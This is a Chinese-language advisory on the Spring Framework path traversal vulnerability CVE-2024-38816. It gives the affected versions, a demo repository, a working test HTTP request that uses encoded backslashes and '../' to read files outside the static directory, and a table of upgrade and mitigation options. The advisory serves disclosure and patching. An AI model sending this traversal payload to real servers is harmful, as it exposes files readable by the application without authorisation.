漏洞详情

Spring Framework是一个Java应用程序框架,旨在提供高效且可扩展的开发环境。

近日,监测到Spring Framework中修复了一个路径遍历漏洞(CVE-2024-38816)。Spring Framework受影响版本中,使用WebMvc.fnWebFlux.fn(在Spring Web MVCSpring WebFlux框架中)提供静态资源的应用程序容易受到路径遍历攻击,当Web 应用程序使用RouterFunctions提供静态资源并且应用程序使用FileSystemResource或类似的配置来从文件系统提供静态文件时,威胁者可构造恶意HTTP请求访问目标文件系统上Spring 应用程序进程有权访问的任意文件,从而导致数据泄露。

建议受影响用户做好资产自查以及预防工作,以免遭受黑客攻击。

影响范围

Spring Framework 5.3.0 - 5.3.39

Spring Framework 6.0.0 - 6.0.23

Spring Framework 6.1.0 - 6.1.12

以及不受支持的旧版本。

漏洞测试

测试环境demo

https://github.com/weliveby/cve-2024-38816-demo

漏洞测试

GET /static/%5c/%5c/../../v.txt HTTP/1.1
Host: 127.0.0.1:8087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

修复方案

方案

修复方法

存在的问题或困难

1

Spring Framework 5.3.x:升级到5.3.40(仅限企业支持)

Spring Framework 6.0.x:升级到6.0.24(仅限企业支持)

Spring Framework 6.1.x:升级到6.1.13或更高版本

1.springboot兼容性问题

2.单独升级springframework存在的兼容性问题

2

升级jdk到17,升级springboot到3.3.x

1.jdk兼容性问题

2.springboot兼容性问题

3

启用 Spring Security HTTP 防火墙

4

应用程序在 Tomcat 或 Jetty 上运行。

1.docker或者微服务部署问题

2.jenkins打包问题